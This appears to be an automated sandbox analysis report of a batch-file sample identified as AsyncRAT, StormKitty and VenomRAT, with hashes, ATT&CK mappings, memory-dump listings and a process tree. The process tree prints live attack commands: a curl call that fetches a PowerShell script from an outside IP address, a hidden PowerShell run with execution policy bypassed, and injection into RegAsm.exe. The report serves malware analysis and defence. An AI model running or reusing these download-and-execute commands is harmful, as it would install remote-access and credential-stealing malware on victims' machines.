asyncrat | 7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01/01/2025, 07:57

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General

Target
gqub.bat
Size 3KB
Sample250101-js9mja1rfk
SHA256 7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10
MD5 bb445d197063475c8d78de4f0825753c
SHA1 158a8e3b278affe7c1185aad67683e4253cf53dd
SHA512 173cd8a56e2fa6e8db33bc13870f8751473251aa80be2235321e62b0f84961e9fd00a236aec63342d73f262dbc7c2a920951a1a8f41707ca6640e673f21c4307
MD5 SHA1 SHA512

Score

10^/10

asyncrat stormkitty venomrat discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/3644-30-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/3644-30-0x0000000000400000-0x0000000000704000-memory.dmp	VenomRAT

Venomrat family
venomrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	2112	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2112	powershell.exe

Downloads MZ/PE file
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2112 set thread context of 3644	2112	powershell.exe	90

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe
3644	RegAsm.exe
3644	RegAsm.exe
3644	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeDebugPrivilege	3644	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3644	RegAsm.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4736 wrote to memory of 4640	4736	cmd.exe	84
PID 4736 wrote to memory of 4640	4736	cmd.exe	84
PID 4736 wrote to memory of 2112	4736	cmd.exe	85
PID 4736 wrote to memory of 2112	4736	cmd.exe	85
PID 4640 wrote to memory of 2516	4640	cmd.exe	86
PID 4640 wrote to memory of 2516	4640	cmd.exe	86
PID 2112 wrote to memory of 4220	2112	powershell.exe	87
PID 2112 wrote to memory of 4220	2112	powershell.exe	87
PID 4220 wrote to memory of 4680	4220	csc.exe	88
PID 4220 wrote to memory of 4680	4220	csc.exe	88
PID 2112 wrote to memory of 640	2112	powershell.exe	89
PID 2112 wrote to memory of 640	2112	powershell.exe	89
PID 2112 wrote to memory of 640	2112	powershell.exe	89
PID 2112 wrote to memory of 3644	2112	powershell.exe	90
PID 2112 wrote to memory of 3644	2112	powershell.exe	90
PID 2112 wrote to memory of 3644	2112	powershell.exe	90
PID 2112 wrote to memory of 3644	2112	powershell.exe	90
PID 2112 wrote to memory of 3644	2112	powershell.exe	90
PID 2112 wrote to memory of 3644	2112	powershell.exe	90
PID 2112 wrote to memory of 3644	2112	powershell.exe	90
PID 2112 wrote to memory of 3644	2112	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\gqub.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Windows\system32\cmd.exe
  cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\system32\curl.exe
    curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
    3⤵
    PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2klvbn4y\2klvbn4y.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES87AE.tmp" "c:\Users\Admin\AppData\Local\Temp\2klvbn4y\CSCAC9824FFF7054DC3A13E30D512ACB598.TMP"
      4⤵
      PID:4680
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:640
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

2klvbn4y.dll

Path C:\Users\Admin\AppData\Local\Temp\2klvbn4y\2klvbn4y.dll
Size 9KB
SHA256 f9d7e38779241516cde0dd57b4df2bcabca365b19c152b33eb478289fc8320fd
MD5 c4df261a9ae58c59b122f781b70be7b9
SHA1 791625d4f4c489553fc9caf509b0236d68769086
SHA512 6facf68507a8a963e741aca502aff510535940a95bb1e3f5da27a3db4f11f0a7ebb828ef86f1258ee167fc8ed2f25e0e34442c3fe953c976c5969cfac20989d1
SSDEEP 192:sRH6HN4QhfNQ8q8888yYAddRjOa4UxRa95MqBYqeN45m:HNxNd9OL+a95MqYS5m
MD5 SHA1 SHA512 SSDEEP

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RES87AE.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES87AE.tmp
Size 1KB
SHA256 40f144cd3b581530beee300fe01e63cfa03a788988db5efeb477234fec6f18f1
MD5 05bc4730b0a1bb796a290f7a8786be63
SHA1 a4953d68f5f69c42221f725790a9980433b1baa5
SHA512 f5bd9602562389c42277203c165e56fca62a9f3b59b8baa1955c27911e5b1347743bbdbfbb6ffeeeee6969ad9c0e62b64fd18a42f9c36ef75b704052c480f1cf
MD5 SHA1 SHA512

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__PSScriptPolicyTest_kvzqoxms.tvk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kvzqoxms.tvk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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2klvbn4y.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\2klvbn4y\2klvbn4y.0.cs
Size 10KB
SHA256 ab42fe5fd08cb87663e130f99f96124fdd37d825d081b9712b0bad8b6f270fac
MD5 b5c3a2d03ff4c721192716f326c77dea
SHA1 6b754fd988ca58865674b711aba76d3c6b2c5693
SHA512 d32e5a98c12b6b85d1913555ea54f837cd0fc647ca945aef9d75ffade06506be1f4a2348827f11c4eeae0796e4156c8f352e3c0f9a6e2cdc93cb501bcdf2c248
SSDEEP 192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo6PT:2oYLoH97t/Z7pgjvzf5uT
MD5 SHA1 SHA512 SSDEEP

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2klvbn4y.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\2klvbn4y\2klvbn4y.cmdline
Size 204B
SHA256 90606e03ea98cb65b3ce247200fd28108f3ccce133eed496aee91b7d842c32dc
MD5 0ee963805c9eff55930fb30aa0e8b6ba
SHA1 329ab0d2648179f70902bccd22d8021076b67092
SHA512 70b8e5062774f82053424c454ce9a0390ce3e6ecb1e739b0674b3e046da76b56d1b146bb62290d0c4f8a840f8936b1d7d794af9264f27d295e22db58c4eb6e88
MD5 SHA1 SHA512

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CSCAC9824FFF7054DC3A13E30D512ACB598.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\2klvbn4y\CSCAC9824FFF7054DC3A13E30D512ACB598.TMP
Size 652B
SHA256 7cea7cc056f9c86b048202da9bc4da7e95b2ac9976b057aad815a28e3fb71fc8
MD5 40f41e17b2b514c8005a46ca03e7f52b
SHA1 8e6aa689f664aad0b14d0536bb642a36ad4f2049
SHA512 ed3e8a91dbbbfb923d407f892005fd9e8c1cd9925a5b58b4cb86b2e73f91936fdaafd2332e2b45aec9d864c52e01f665828b67a3c77a71e5905c15fe30848f18
MD5 SHA1 SHA512

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memory/2112-13-0x00000194FE880000-0x00000194FE8C4000-memory.dmp

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memory/2112-33-0x00007FFCD54B0000-0x00007FFCD5F71000-memory.dmp

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memory/2112-14-0x00000194FE950000-0x00000194FE9C6000-memory.dmp

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memory/2112-0-0x00007FFCD54B3000-0x00007FFCD54B5000-memory.dmp

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memory/2112-12-0x00007FFCD54B0000-0x00007FFCD5F71000-memory.dmp

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memory/2112-11-0x00007FFCD54B0000-0x00007FFCD5F71000-memory.dmp

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memory/2112-9-0x00000194E6360000-0x00000194E6382000-memory.dmp

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memory/2112-28-0x0000019482750000-0x0000019482758000-memory.dmp

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memory/2112-15-0x0000019482510000-0x0000019482520000-memory.dmp

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memory/3644-30-0x0000000000400000-0x0000000000704000-memory.dmp

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memory/3644-34-0x00000000059B0000-0x0000000005F54000-memory.dmp

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memory/3644-35-0x00000000057F0000-0x0000000005882000-memory.dmp

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memory/3644-36-0x0000000005500000-0x000000000550A000-memory.dmp

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memory/3644-39-0x0000000006730000-0x00000000067CC000-memory.dmp

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memory/3644-40-0x0000000006360000-0x00000000063C6000-memory.dmp

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memory/3644-41-0x0000000006AC0000-0x0000000006AE2000-memory.dmp

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memory/3644-42-0x0000000006AF0000-0x0000000006E44000-memory.dmp

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